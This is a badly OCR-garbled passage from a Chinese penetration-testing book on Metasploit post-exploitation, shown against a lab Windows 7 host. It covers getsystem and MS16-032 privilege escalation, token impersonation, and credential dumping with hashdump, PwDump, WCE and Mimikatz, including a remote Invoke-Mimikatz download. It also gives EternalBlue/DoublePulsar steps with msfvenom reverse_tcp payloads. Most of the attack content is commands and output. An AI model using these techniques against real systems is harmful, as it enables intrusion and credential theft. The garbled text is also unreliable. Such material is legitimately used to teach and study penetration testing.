o HEEIEN: KEEHRIEEISER. Fid, BEdEESRBENRESARE 7 &
SBARSR, BRAXFHEN R T EEHRNL.

FRLATERSTHEREN Bl Meterpreter Shellig, HIEMBEIEEEREE 7+

%ﬂﬁﬁ%%ﬁﬁ%"ﬁﬁwmwma§



LABBR.
EMeterpreter Shell Figi A shellfa SN BImIBICMDa<$17, WES-46
Ai7.

meterpreter > shell
"0Cess created.

el 1 created.

i crosoft Windows [¢i7 6.1.7601]
SO 6OC000¢ (c) 2009 Microsoft Corporationg@éeeee0eeceetd

C:\Users\shuteer\Desk T,op»l

El5-46 HEACMDEST

EEB Awhoami/groupsis SEE A ILBINAGR, ME5-47F 7.

éﬂﬁﬁ%ﬂﬁﬁ%"m%»mvns
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wteer\Desktopovhoani /

TYNINTERACTIVE

TY\Authenticated Users

T AUTHORITY\This Organization

DRITY\NTLM Authentication #12H s-1-5-64-10

Label1\Medium Mandatory Level #75 §-1-16-8192

E5-47 E5=gR
MES-4750]ERI, HBIlISREMandatory Label\Medium
Mandatory Level, HBERAIZE—MRERR, BAMBEERABEPTIRMRERFE
FARESER, tbEiEMandatory Label\High Mandatory Level,

TEE A AR RHRRRESIIR, BB T I,
B imREAExploit, AP M UserBaiEHith RS EHIRHE UAdmlmstratoHﬁ
(Eroot) .

mmHimESSEN T BRI, KZTHFEARE, EEfKsiSimtsk. m

HENE ML UEFX, EFNEFRKERESSHIREFN, NRBFEANSIE



B VX TMEFXEKE, BBAXMEFRRSETH.
5.6.1 A FAWMICSLEEMS16-03 2 thizs H i)
Bt BN —Z SIS ER 7 B8 Meterpreter Shell,
BN getuidSERCEIMENIER, sILIERIMENSIRREM, Stest
PR, =it getsystemanSHEIN, EREM, ANES-48Fr.

5-48 i getsystemaEp 4L
BREERRANCIIHNT, EANAGEEEBEFIINCMD&ES T NI
systeminfods%, HEFBIEFC: \windows\EE M S "log” EEBIFIA
BT TSR T, 2NE5-49F .

%ﬂﬁﬁ%%ﬁﬁ%"ﬁﬁwmwma§



:\Users\shuteer>systeminfo

WIN-S57TJ4B561MT

Microsoft Windows ? FHFILR
6.1.7681 Service Pack 1 Build 7681
Microsoft Corporation

Multiproce

Windows F

4

PP426-292-0000AA7-85113
2017/274, 11:11:16
201727274, 11:19:46
UMvare, Inc.
UMware UVirtual Platfornm
KB86-based PC
¢ | 1
[01]1: x64 Family 6 Model 68 Stepping 3 Genuinelntel 3480 Mhz
Phoenix Technologies LTD 6.08, 2815/7/2
C:\Windows
C:\Windows\systen32
skUo lune 1

UTC+@8:08)> 117,
1,823 MB

442 MB

2,847 MB

1,203 MB

844 MB
C:\pagefile.sys
WORKGROUP
S\WIN-57TJ4B561MT
ZET 2 MEIMER
[811: KB2534111
[82]1: KB976902
F4ET 1 4 NIC
[(B81]1: Intel(R> PRO/1 MT Network Connection

4 3

A
||
e
b
7
2
'
B3
iz
7.3
A
i
St
%
i1
2]

=
S5 DHCP:
pHCP R3S 192.168.172.254
1P Hedlt
[011: 192.168.172.149
[B82]: fe8P::94d8:4086f :d621:61

E5-49 5N T E
SJBRBRRE T2 MENER. XEBNBWMICHSIIHEZRE
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#T, 2NE5-50Ff7s.

E5-50 FIH&NT
FHEIUER BRI 72T, EEEXERHER SN e EE

, FARY, ERRAREERENHEXP, RRBRACELZEA T RS SRIIIEXPS

ST, HAKiTrapOD (KB979682) . MS11-011 (KB2393802) , MS11-080

(KB2592799) , ASEFHIRERSMEXPHHTIENL. FABMWAEATTHT, AL
BRI LMERRZEXPRIRN, XEFHRASEFIIMS16-032% =17, WNHRESE
KB3139914.

HEXRENE R EES TR Z oI LAZE 0 FA Rk,

o Z2FER, HBugTragR —MHENREFEXploitdiEiR, "ILABIS CVESR
EEFREEREEER. Wik: http://www.securityfocus.com/bid.

e Exploit-DB, EU{ T Zi#EZ2MismilwOrm. Exploit-DBAKTEZiAEZ/]
ExploitigFFiliRS, EAERTEER MNILIINE. Wik: http://www.exploit-
db.com,

HiRsR: WMICEWindows Management Instrumentation Command-
linefUiEFR, EEFGSHTEETE, RETMNGSTEOZMGSHANTRERE
BATszEE, aJLAREWindows A TRERENGST TR, FHREWMIC, FAT/AMER]
PISTEAMIHHEN, Aol EBEE—IgANRE TR &N (FEVENNER) |
SRR SN AUESLTZEWMIC,

wmic.exefif TWindowsBRE T, E—1énSi7iER. WMICH LIPS,
HiT: 2B (Interactive mode) FHEAZHT, (Non-Interactive mode) , &
BEANetshin STRIEE N ZIEERETXPAIPE.
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o ZHIET, WMR(REGSIRNG FEY =2/T" FRRREAWMIC, &
HAWMICHZEIES, 8% M adhiT=Es, ZFARSREFWMICERG |,
i "Root\cli” , ZEEBEEFTENTS TWMICIESHER, BRI —EEL
RAHRIFESRIRA, GINMIBRIRIE, XFERERAPRE R IE R FHIISR.

o X BN, IFRZEEAEIERWMICIESERIEAWMICH2HIIE
WMIC/EH, HESHIT=EEBERAEEBENGSIERT ~, MARHAWMICET
SOAEH, WMICHEEZZ B ERTFitiMNR = Eth— e A A,

FETEMNE, fEWindows XPT, EAERAFEAEEERWMICHSH, 8
EfFWindows 7ERS5HIWindows 8%4t I, EAPRAFRILIERWMIC, BEARERN
HaRE.

WMICTHEREMENZZENEMBIFEIA, AIIENEEERMIANHE.
BS. BFP. APE. MBEE BEEE. NEHSEE. B8], Bl B
ZENTY. B ERSIEXEENNXSE.

ETCREZIEN, FEEESEIEMeterpreter2RE NGaHT, RaEE
MS16-032, #NE5-51F .

s16.032 secondary logon handle

jary Logon Handle Privilege Escalatior

E5-51 $E5isin
RS NREEANSEFIEploit, SILUEIAmsfupdatess ST,
KA EFEploitidith, by, SEFaRIMENRREXP (FENES.7T5) .



PIFLA RS SE+HMS16- 032‘*/\,@? RIGIEE “session” HFHTIERIR
£, XBIRAHETIRS “session” K “1" , WE5-52F7s.

jows/local/ms16_032_

E5-52 e SRS

SoEEE A exploitairunds<$EIT], E5-53F.

B15-53 #HTIE
RIBREIHEEIERIEL @ Hlsession, FHENENRT). EEES
N XA Meterpreter ShelliJtfR, ELESYSTEMBRPRY, A1E5-54F 7.

ﬂﬁﬁ%ﬂiﬁ%"m%wmens§

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

E5-54 &=5TR
BAiAE: X NEENZENT RS EKB3139914, FfiIRELEANT 7
gy, thollh@dE=h TE ’EFNT 83T iz T.



Www. glanani. com
MRS ABERN, TEM EEZWENBSZAXNNINT S, 0FKS-2f7

7TNe
#5-2 RFUNARNT S (39)

Windows 2003 Windows 2008 Windows 2012

KB2360937/MS10-084
KB2478960MS11-014
KB2507938MS11-056
KB2566454/MS11-062
KB2646524MS12-003
KB2645640[MS12-009
KB2641653|MS12-018
KB944653MS07-067
KB952004/MS09-012 PR

KB3139914/MS16-032
KB3124280MS16-016
KB3134228MS16-014
KB3079904MS15-097
KB3077657MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|MS13-053

KB3139914MS16-032
KB3124280MS16-016
KB3134228)MS16-014
KB3079904MS15-097
KB3077657MS15-077
KB3045171/MS15-051
KB3000061|MS14-058
KB2829361|MS13-046

KB2850851/MS13-053 EPATHOBIJ

ﬂﬁﬁ%ﬂﬁﬁ%"ﬂ%»mvotg

4
S

KB971657/MS09-041 EPATHOBJ Oday K 32 { | Oday Bt 32
KB2620712]MS11-097 KB2707511[MS12-042 sysret | KB2707511MS12-042 sysret -pid
KB2393802]MS11-011 -pid KB2124261[KB2271195  MS10-065

KB94283 1 MS08-005 KB2124261 KB2271195 11IS7




—%mvﬁ#}mmm" FEW oo = §+_

WWW. glanani. com

Windows 2003 Windows 2008 Windows 2012
KB2503665MS11-046 MS10-065 1187 KBO9T0483MS09-020 11S6
KB2592799|MS11-080 KB970483/MS09-020 1156

KB956572|MS09-01 [™ 754514
KB2621440/MS12-020
KB977165|MS10-015 Ms Viru
KB3139914MS16-032
KB3124280MS16-016
KB3134228MS16-014
KB3079904|MS 15-097
KB3077657MS15-077
KB3045171|MS15-051
KB3000061|MS 14-058
KB2829361MS13-046
KB2850851|MS13-053
EPATHOBJ Oday Fi 32 {i
KB2707511|MS12-042
KB2124261|KB2271195
MS10-065 1157
KB970483|MS09-020 11S6

5.6.2 ThETFEN
1. B R
ShE (Token) MEZFRIGNZE, ELTKFABIZD, ARIAEES
) VIRORERAFEOERERTH—MNEFN. SRR S EIEN
BIE T, HEMNENEAER. XESEESEFTT RS, BRIERARENS.
SHREANERRERTMYE, FAamll, —REBEEFREGLIENGE. $h8
BREM, LB (Access Token) FnAaEHIMFERNRSNS; BiR
ShE (Security token) , NIHBAFSHESEEEHSIE, E—MHENSHRILAI
Mg, BINUE,; 252 hE (Session Token) EXHSEFE—SHIRRG.
HEEESHGhREFHKerberostini. FRLTEFEREE ST, 5 N




WWW. qlanani. com
#BKerberostiil. KerberosE—FhmMZEi MY, EigitBirEBNEEREFAER
/BB 28R FRfE R A8 A ANAIEIRSS. KerberosPI TR #ILNE 5-55 7.

@ FAEES L
S WAL & g e

INIER 55 4% AS e
Yo &
E]5-55 Kerberos T4EH L
B imERE RS REN FR.
o EFIRENAIEIRSEE (AS) AEENR, ERERIRSSENEE.
o ASKEIEKG, KEAE R IHEENINEEBIEN A XEE ih. 1ZIED
BiEiRESSEticket (BIERSEZENZENEFNSHIT—HSEEE) F—NIRE0
c\TA ZEME (MFRPLIEEEE, session key) . IR, INIIRSEBDSLRSEAE—HD

BHEIUEEH SEH e = }_

ZIED, FRERSSAPEREFHNSD.
o EFinigticketTXRIIRSEE L, IRSEBEFHAZEFHANG, EAITEER

RSS2
o EFMERMIG, WEEMILUEIN\RIRSEIHANE FPiaiI-Sh.
2 [EEhESLaA

AR HA B — 7RSS, BEmEkE 7 BisliMeterpreter
Shell, B5EHINQetuidSEEFCEIRENINUR, A getsystem, RIURELE



CHETUEEHE SEHE oo =§*

W, BEARaNES-56f7.

B5-56 #IAgetsystemap S TIRIL
A58 A\ use incognitomns, ARHAlist tokens-uZlHE]ARJtoken,
ANE5-57 A7,

E5-57 ZIHRT 42

o[ ERIERIERNSH: —FfhEDelegation Tokens, tBFEENSHE,
BXIFRERAER (FinliBitiEfSmERina) ; ™5 EImpersonation
Tokens, tEFEENSHE, ERIEZZENSE. SHIHEESCEARAT Meterpreter
ShellfUiA1E%5!.

HES-57a]LABE, HRIEESRKE 7T I EZASTERIENSHE, IERE
BEXNSHE, RERIEHAEEIRSR.

MNEHREER AR RIS ENERSEE S WIN-57TJ4B56 1MT
\Administrator, EFWIN-57TJ4B561MTEBRNHIFENZ, AdministratorFEae



FHBEFE. & FEfEincognitofiElimpersonate tokenindBEEAdministrator
AP TIRE, BWGiEES-58f7.

E]5-58 FFEISHE
R EMAHOSTNAME\USERNAMERREMANFRE MRART (\\) .
7RG TEMeterpreter Shell MizfTshelldg$F i@ Awhoami, AJLLEZ!
E =M EFEE B NWIN-57TJ4b561MT\AdministratorZA SRR 7.
5.6.3 HashIith
1.{£FEHashdumpilEZH3

Hashdump MeterpreterfiiZA<n] LI BimH88 iR HashiE, BfEHash{E
RIEIREERER. HENHNEMNKS (NRERERSEE, WAERNEMNKS)
N BPENEREEE T samIR, MHEIETE, TOUEERSIETHE, B
REsARE "RRER" WS, FIEERZa SRR

fEMeterpreter ShellE=fT Mai A\ hashdumpind, ESH Bl lsam#dE
FEHIHash, SNE5-59F k.

ﬂmﬁ%mamm"ﬂﬁ»mw0=§

2




E5-59 EtHash

FEAESYSTEMABR FiiThashdump@S4s, mEEWindows 7.
Windows Server 2008 NMERHES HIIHERIBANIIEF R, mB—MER
smart_hashdumplUThaEEREA, RILASHEFEEFHash, ET{ERIENT:

o ieEMeterpreterBIIBRAN B IR ERALEL,

o IWEBIMIEE NEIEHIIESEE.

o BN EMEFENHash, AMTATEF=EEALSASSHIE.

XEETEEERNERESEEWindows 7, TIEFFETUAC, $KEHash;
S5, XA RESFERSITUACHGBEREEE, 1E5-60f 7.

E5-60 SHEIMAIHash
BRSNS EA S IR Hashit 7888, M AdEEhttp://
www.cmd5.com/EZhttp://www.xmd5.com/iXFE Rk,
2.fEFQuarks PwDumpilENE RS

PWDUmp2—ZWin32IiME FHNASENEESH TR, BRI
TEIUSHIIESENER. SHHXASHI0OSHA, mBEESEE.

EEARLISH:

e Local accounts NT/LM hashes + historyA#HLNT/LMIAZS + [H P EFIC
x.

e Domain accounts NT/LM hashes + historyll=[IUNT/LMIGH + [H5EZ
FioE.

e Cached domain password/Frhfia SRz,

e Bitlocker recovery information (recovery passwords & key

%ﬂﬁﬁ%%ﬁﬁ%"ﬁﬁwmwma§



packages) {EfBitlockerfIkEINEERIEZEBIIEE (IKSEZBCKER) .

PwDumpsZ AR ER S I Windows XP/Windows 2003/Windows Vista/
Windows 7/Windows 2008/Windows 8,

AEWindowsHZREZS5tH, ERLIIENHTURFE/ windows/system32/
config/ FisamMHE, MKSEERGSEEBNE M FFERSNNE
. [FEER NERENGE, samMAEERESHTEER, (BEPwDumpHiEEEE
sam.
Bi%z17Quarks PwDump.exe, WES-61F7~, BARREEER, HS
e Van s,

o-dhl: SHAHIAFHE.

e-dhdc: SHAFFRIHIZAFE.

o-dhd: SHFTIAFHE, VWIEENTDSYE.

o-db: EHBitlocker(EE, IIEENTDSIAL,

e-nt: SHNTDSNH.

e-hist: SHHFEER, tliEm.

o-t: O[FESHZER EiASHIohnZEE,

e-0: SHAZAI,

—-o%ﬂi'fﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }H
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e\ C:\TINDO¥S\system32\cad. exe B

uarks-puwdump.exe <options>

Options :

—~dhl ——dump-hash-local

dhdc ——dump-hash-domain-cached
——dump—hash-domain (NITDS_FILE must bhe specified)
~=dump-bitlocker (NIDS_FILE must be specified)
~-ntds-file FILE

~-hist ——with-history C(optional)

t ~—putput-type JOHN/LC <optional, if no=>JOHN)

0 ——output FILE <(optional, if no=>stdout)

[Example : quarks—-puwdump.exe ——dump-hash-domain ——with-history

BE5-61 BRREEER
XEBERZ T ENMEAN Hash{BHSH, LA QuarksPwDump.exe-
dhl-o 1.ixtH<SSHAMBRERHATERMN xt. I, ZTEXRJLEANdsutil

TESHEIZEZE,
3 {#FEWindows Credentials Editori[(ENZ 43

Windows Credentials Editor (WCE) E—FEERARIWindowsEERR
BB 1E, CaFIEERAE, FEILIRIN. SEEAMERMEXER (FIRLM/NT
Hash) . XEThEEERMSEPEEBHEFE, flll, EWindows¥F& FhiTsed
Hashi2{EaiZ \IWFHIAEINT/LM Hash (IBe]MZERER. RS, miEsmE
BPRE) BT KE, mEARRDEIEED, ERMESERNTIUETE. T



%ﬂmﬁ%mamm"ﬂﬁ»mwms§

W EEEAR MER, AEIERETENSX.
B\ uploadf$igwee.exe HERIBIRENCEH, RSEBIRM1Shell
TAwce-win, FELIHENASRPEEERNZRS, MES-62F k.

E5-62 B ESFAM EERFE
BOAER- i Sl RS username: domain: Im: ntlm (XMEEE
MAREFHEHNESERAEE, MARENsam#PEEFER) |, BANEEHE
SERZ2NAHTUER, SXBNWEAALZ2NAT, FLURERIEEN REEREIA.
XN -FREERTIERLZ LN AR, g 2HERKIEZEN, REHE—

T ERPNERNINE D ERITEEL, (E5-63f7r.

.-m1 ls I—l:t 1 {c> 2018-2013 Amplia Security
security on)

12
CCF9155E3E7DB453AAD3B435B51484EE : 3DBDEG Y 7D 7169BA769204BEB1 2283678

E5-63 IMEIZE5 =15
-EHETEESEFEN Tomd, vEHETERFRER, XHEAEESD
uidEE, wBHESF EN, BTEECEFNEER, ES5-64FT.
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E5-64 M E SRR =T
4 {FAMimikatz B
Mimikatz2iXE%ZBenjamin Delpy (@gentilkiwi) SHESHKEEE.

~ EA—SEEEUETE, SalSHhEMEA RRMERSZE, HINEEIEL:
wmdERE M IKerberosBREIRE, LSz RestrictedAdmint&Ezl, FWindows 85
Windows Server 2012(0imi2#8i% (RDP) FINRE. EEASENERCGRIASZEE
BE, WHHEDIHBETEI/NEFEE— ERENER, XFHBERE—4
#FEHNTE, Mimikatzgi2 —MEEEBREH. REEINESHETE—EN=
. EETEZ T BT Windows 20005Windows XPEZ FoikfEmA,

MetasploitBELEEIEA—"MeterpreterIAEER 7, LMERFER, A
BE HEZERIBREN L.

Mimikatz/MESIEEMR TER, WRBIRRIET—FR7ATHZE, B
LB B Meterpreter Shell ((U72E8) , VR AAdmiInistrator, A
getsystemanSIREN 7 ZSHUR, AE5-65F .

>

%Eﬁﬁ%%im%"ﬁﬁwmrms

/TJ4B561MT\Administrator

Pipe Impersonation (In Memory/Admin)).

E15-65 FERSAR
IREZEFRSYSTEMIRIS, BaEE BiSSH28. EAMimikatzERdsz
Er32fAn64iIWindowsZ214, (BURARSZEE64NVARERS, HiZ(FFHMimikatz



&, Meterpreter2EAINE—" 32 RARIMimikatzZIN7E, EERZINEETL
MBECAMNIRERS NARSTERRAHESIER, AREINEMimikatzZ BTGHZT
BRI 6AMIZFFAIES, FTHEERRATEAN, E320R(EES FRliEaX
BRI, IXEi A\ sysinfoips, AE5-66F~.

> sysinfo
: WIN-57TJ4B561MT
: Windows 7 (Build 7601, Service Pack 1).

E5-66 EEEHER

XE—32uiIeE, FIEEINEMimikatziEbk, FEEHE, MES5-67

{ﬂmﬁ%mamw"ﬂﬁ»mvms§



%Eﬁﬁ%ﬂiﬁ%“ﬂ%%mvos}

meterpreter > load mimikatz
Loading extension mimikatz...s

meterpreter > help mimikatz

Mimikatz Commands

Command

Attempt to retrieve livessp ¢
mimikatz_command Run a custom command
msv Attempt to retrieve msv creds

ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg cre

wdigest Attempt to retrieve wdigest creds

E5-67 hnEMimikatzBIREENEER
mimikatz_commandiEIa] LAHRA I MimikatzAY£ 3800
InE—MEIRAEDE BI] AT IR, ANEI5-68f7s.

4t
BE,

maEd



'{ EREMEENWE" FFhicoe = }.

netaerpreter > mimikatz_command -f
Module : ‘'a' introuvable

Modules disponibles :
- Standard
crypto - Cryptographie et
hash - Hash
system - Gestion systéme
process - Manipulation des
thread Manipulation des
service Manipulation des
privilege - Manipulation des
handle Manipulation des

certificats

processus
threads
services
priviléges
handles

impersonate Manipulation tokens d'accés
winmine Manipulation du démineur

minesweeper Manipulation du démineur 7
nogpo Anti-gpo et patchs divers

samdump Dump de SAM

Injecteur de librairies

- Terminal Server

Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs
sekurlsa Dump des sessions courantes par providers LSASS

aefs Manipulations EF

S

B5-68 E&mimikatz commandfIo] FEiELR
HATRILAMER " iEAEKEMEROBRUER, EE—MERGTEa]LAE
B " EEMMERNER, fliNEEHashfolBiEmEImintimaig, E5-69F

7JNo

-f hash:
ommande '' introuvable

(LM) d'une chaéne de c:
r (NTLM) d'une chaéne

El5-69 EEEIRAIRED

A& T MimikatzfABHERGES, FAIEEILMERMetasploitNERT&
<, BaJLIERMimikatzEHHI6<S N BI85 ESHiHash#I853GIES.
BEEEREE A msvis SRS Hash{E, WE5-70f7s.



{Emﬁ%mamm"ﬂﬂ»mvms§

nrlm{ snlxmma‘lm:nﬂmr‘r ¥

1n{ 69943cSefTndale ltmnslmnr ]

E]5-70 #MEYHash

i) N\ kerberostp SR LML EE, WE5-717x.

LOCAL SERVICE
WIN-57TJ4B5

NTLM G WIN-57TJ4BS61MTS$
NTLM 156 Admin

NTLM WIN-57T 14 ‘n]M test

NTLM WIN-57TJ4B561MT Administrato

W w w

E5-71 IMEERE

A wdigestm SR LERNESRKAER, HES-72R7.
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36
48174

gQg

BE5-72 REESWFER
EEB Asamdumpi$ESsamdumpfUa] iR, REHA
mimikatz command-f samdump: hashes&@<$HEXHash, WE5-73F7.



> mimikatz_command -f sasdump::
‘sendump’ identifi¢, mais comsande '’ introuvable

Description du sodule : Dump de SAM
= Rjcupdre 1a bootkey depuis une ruche SYSTEM puls les hashes depuls une ruche SA
- Rdcupdre la bootkey depuis une ruche SYSTEN
meterpreter > mimikatz_comsand -f sasdump::hashes
Ordinateur : WIN-S7T)4856INT
! e0BELCS99d271¢ 1333172800706 1886

: Adainistrator

© 69943c Se6304d2¢ 104dbec 151380720

: S0
: Guest

: 100
¢ shuteer

69943¢5e6304d2¢ 104dbbcc 151380720

: 1002
! test

: §9943cSe6304d2¢104dbbec 151380720

B5-73 $MEHash
MES-735Fa]AEH, MENBEFIB=1"AFAdministrator, shuteerf(]
testfUZE3EB—HE, Hashi3569943c5e63b4d2c104dbbec15138b72b, i@IICMD5
R, BAEEA1,
4 MimikatzBR 7 o] LAMENHash, iABERZEAMTIEE, HlaNfERHandlet&b,
T lisykiliite, LURBHIERS, MEs-74R.

ﬂﬁﬁ%%iﬁ%“ﬁﬂwmvns}



E5-74 =5 =
{EFServicet&thno]llist/start/stop/remove WindowsfIfRSS, EI5-75F

oY
||
e
b
7
2
b4
7]
iz
B
A
it
S
i
&
=]




{mmﬁwmeM"m%»mvns}

{EACryptotEitha] P list/export{HeiEH, LN AEEEBiR128 ERIAERFA
{8, ANEl5-76Ff.

neterprater > mimikatz_command -f crypto:
Module : ‘crypto’ identifi¢, mais commande ' introuvable

Description du module Cryptographie et certificats
ListProviders - Liste les providers installés)
listStores = Liste 1es magasins systéme
listCertificates « Liste les certificets
listKeys - Liste les conteneurs de clés
exportCertificates - Exporte les certificats
exportKeys - Exporte les clés
patcheng « [experimental] Patch le gestionnaire de clés pour 1'export de clés non exportable
patchcapl « [experimental) Patch la CryptoAP] courante pour 1'export de clés non exportable
e > mimikatz_command -f crypto::listProviders
Providers CryptoAP]
Microsoft Base Cryptographic Provider v1.0
Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
Microsoft Base DSS Cryptographic Provider
Microsoft Base Smart Card Crypto Provider
Microsoft DH SChannel Cryptographic Provider
Microsoft Enhanced Cryptographic Provider v1.0
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider

El5-76 EEESIES
Mimikatztbsz35PowerSheliBF (Invoke-Mimikatz) , BiiAstttitry
https: //raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/
module source/credentials/Invoke-Mimikatz.ps1.
MimikatzfUThEEsstE . BEfBTEPowerShell i TMimikatz, &5, SFIAE
iE, {hiSKerberosSREEE, HHRSEMAIIIEE, MES-77FH 7.
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e

WWW. qlanani. com

tr "hetpei//reu.githubusercontenc.con/natt ifestat ion
—m-nmn M,C

LPY “gentilkiwi®
olvltnlllhlul con/minihkats 00 .00
with 15 modules

inikataipovershell) § wekurlsa::logonpassverds

Prinar,

: I‘h‘l lhar

1 ADSECLAB

i 3c®70ad4d3672cabeSaf 8 1 7c IRadSe

: 177afBabA6321conl 2204083761 2dba7

i elel108R274122374061661802014722388400130

"
rd : ThePorce?9?

i LubeSk 1her
: ADRECLAR
: TheForce?9t

i lubesk

LAD. A munv ORG
rd : ThePorce?9?

576556 (* BBRaS2cc)

.57(u:l'"l'A'A}?Sl’hh&ll!lbdllt
. 0646122481 045971 bc22360d)f
3 Sl‘l h‘].t“SGGM?l:AS-J&cS‘MQA')‘lJI

: ADSAdnin
: ADSFPEL
: Fassword99!

BE5-77 fEFEPowerShel REIMimikatz
Mimikatzf—2HAMERE S T RESERVEE, EB2EEPIRILME
Benjamin DelpyfUi#E%E (http://blog.gentilkiwi.com/) EZ,
5.7 [eigEE: wiEiRmIRA ACRBERR
Metasploitil ALERBZXIN TR —, MUERACKHEMRBER
t, FEENETIIER. MetasplotAZERES 7 AENRA BRI BABE
B, EFREREMENRENAE, ExirEBE2aCREER, Nl
lit XEAEROREEFARMES RSN, flilPerl. PythonE, MetasploitsZiFe
EESMEAERBIERENESE S, B lH e UG SRR ER
79'—3 Metasplmtﬁ{a‘ﬂﬂ;ﬁiﬁ*ﬁﬁo Al sifERETAZECiRERESE, 2



—-o%ﬂi'fﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }h

MetasploitiFEs@ A BIFEEEHITIEE.

201758 12H200 /A%, SlieebkEaily "1B58" (WannaCry) EhER
%, EFRENRNEER, 2E7HEETRNSKIEMNERABX, F&. fl. &K
Fi. 308, #ER. ErFERTUIATRINT S PRNEEHEINZ, EXARRTE
WEER, REsIEE)) oIE IR,

"RER BERPRANASERERHERG, EREEINRES. SEEN
E. BN, $EHEERN ENSA (EEERZEE) EXETER kEZ
¥ (Eternalblue) &, AZMMEIERENIACKES, . . BIRFERMNA
BhRES—AWindows RATENESR, MRy SEIFrEARZEN T IS
F. BRUEN BT B, ZRERNER. X A, HEeEEAEEnE, R
BRMESZAAHNME00STRFD AR, 8% NRIEE+TST 2, 15
Hie e ™E.

5.7.1 MS17-010/FRE . FEEXSE

"HEER EETAEEREIN KEZIE" 522016585 Shadow Brokers A
EHEAM (Equation GroupENSA NENEERR) FHFEASNE UG ATIT
HHEJ—HENSA WindowsZEHimREHN A TERSIFHI—R. Butbzsh, LL ki A
B NiERA T BEifGEternalromance, EternalchampionflEternalsynergy
ZF, AXLEEITBNWindowsBFRAN. 185" FIFETHERSMBITER

Y IBHTTRRMS17-010, FHETMSIROTUREET 8. —#&2E, £HFR70%H0

WindowslRSEBETBIRzH, WE FELBASHEHITEMS17-010XF05K5IH
m Y, EASIY fEWTm .

SRAIIWindowshRAEAREIE 7 HEREERS, EiFWindows NT,
Windows 2000, Windows XP., Windows 2003, Windows Vista, Windows 7.
Windows 8. Windows 2008, Windows 2008 R2, Windows Server 2012 SPO
%L, B, HEREE2017438 148547 7 MS17-010/ =N T, (EEASRF
RBHEANT .



MS17-010j%EH Bt 24| FHWindows 24 AIWindows SMBITiEiT
RIZRBHE, MMicrosoftiREEHEH (SMBv1) IRESEAELEIHSTHIGEES, /&
TR, S B RRNSGEZ B AR BinR R FHTRBRIET.
ATHRELRER, EZHERT, RESHRIENKGETsERrm Bir
SMBv1 RS 88X ERFRRITHVEHREE., MMSEILRTIEE.
EEN R EMS17-010F NN RERIN T FHETIE, BEEE

|, EORERIR. MTRTHERAXRAMSHD, FHTSRS SRS TR
Yy 572 BEHRIAMS17-010/EREA RS

e MS17-01085FE M At Metasploit BIABEEM, BELTNSEHAT

;3.: A3ZREZEWindows 2003%4%, (HEMS EESHSHEERA, HGitHub NEibit
% Jhttps: //github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/, %l
B i —

g 578

i

E renPaths / Eternalblue-Doublepulsar-Metasploit O Watch 1 W Star

3 ==t

]‘i <5 Code s B Pull requests 0 s 0

%

53

?ﬁ 4 1 0 ITR]

2]
'\Tf\ =

El5-78 MS17-01089E =04

BSTIZimIR F R TR S A, UNES-79R .



{ﬂﬁﬁ%ﬂﬁﬁ%"m%»mvns

eternalblue doublepulsar.rb

generic smb dll injection.rb

group policy startup.rb
ipass pipe exec.rb

‘ms@6 070

El5-79 miEimiREFRER

& Geternalblue doublepulsar-Metasploit3 {43 ~AY
eternalblue _doublepulsar.rb&Z/usr/share/metasploit-framework/modules/
Ao exploits/windows/smb N, 7EMetasploitd, 7 fZimiH A CRSERFAEASULSE AT
BIFEER, MUEMTSHARERAREVE, thEBTiEEEEMetasploitiE
ZEREAFE, WIE5-80fTT.

wkssvc.rb

msdns zonename.rb

netapi.rb

smb2 negotiate func index.rb
shortcut icon dllloader.rb

ms@7 029
ms08 067
ms89 050
ms1l0 046

ms@3 049 netapi.rb
nsf 00 K

Bl5-80 BiEREmEENER

PEZEMSF FEEFINEEEUE, WE5-81F7r.

msf > reload all

] Reloading modules from all module paths...

BRI LUSEZHA T,

E5-81 MEL B4
M\ usedp SR, ES-82Fr.



El5-82 ERFHERZRENR

YN BMS17-010mERIBRISEEE I MetasploitiERE, HAILIFHASENL
T, EIREZHESRAR— DL, MR B3R RS A3 2HIDLL,
BeaNRAMAM6ANAIDLL, XEBEERGR, o ERPowerShel FHEmMpired:
BEDLL, 7E56.3. 475+ BEMHR. XBEFERAMSFETRIMsfvenomin$4ERg, T
R

64fii: msfvenom-p windows/x64/meterpreter/reverse tcp
lhost=192.168.31.247 Iport=4444-f dll-o ~ /eternal11.dll

32fi: msfvenom-p windows/meterpreter/reverse tcp
lhost=172.19.186.17-f dll-o ~ /eternal11.dll

EERZRRERE, ERRNERREUL TS24,

Set PROCESSINJECT Isass.exe (Intel x86F1Intel x64ZFa]1L)

SetRHOST192.168.12.108

Set TARGETARCHITECTURE x86

SET WINEPATH /root/.wine/drive ¢ (BRIADLLARI 4, BILMER)

Set payload windows/meterpreter/reverse tcp

Set LHOST 192.168.12.110

SET LPORT 4444 (iZua[IAEIER, BNITTEALL)

Set target 9

%ﬂmﬁmsamw- TE MW o =



'{ EREMEENWE" FFhicoe = }.

EhfirRE5ehka, WES-83M7R.

E5-83 EERENS
XE# )\ exploitfiZrunin S AN, AN
218, WES5-84F7r.

E %’llﬁU@cﬁU—ﬁ\M eterpreter
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E5-84 IZEmIh

Zitt, FAELEHAIAMS17-010/mHTANE.

RAAZmRE SR, & —EEr & Hira N #EE.

o AENZERFTNZ2HNT, HEEAM T MS17-010887Y "KiEZ
% IEMNERSRR, Mt https: //technet.microsoft.com/zh-cn/library/
security/MS17-010, EEtalLUETSE=—HTH, TN @37 0% T.

o NINEY, —EEREEVHELEED.

o FHEFIXIE.

o Xi7)445. 135, 137, 138, 139, XFMEHE.

5.8 @iz ENE: &l

TR T RERC e, BAIRMAIZENGl] (backdoor) 7, LAHFH

IREFBEEIR. XHE—k, BIEBAFHNBNRREEN T 2RSS, walllddiai]

) SRR EIRRRY.

B, SIME—NEERFEN NS, EoAEEEMEREES
BirEtl. XZ8ER N, BIE—NaEEREN ENEEHE, B &8
1. FEENRIRPESITT L.

5.8.1 I{EEREI]

I lizig50d Bina g2t ZNIEBEFAETE, 4T E
REENESN, DNBRERSITANGE. Meterpreteri2fil 7 PersistenceZ /52
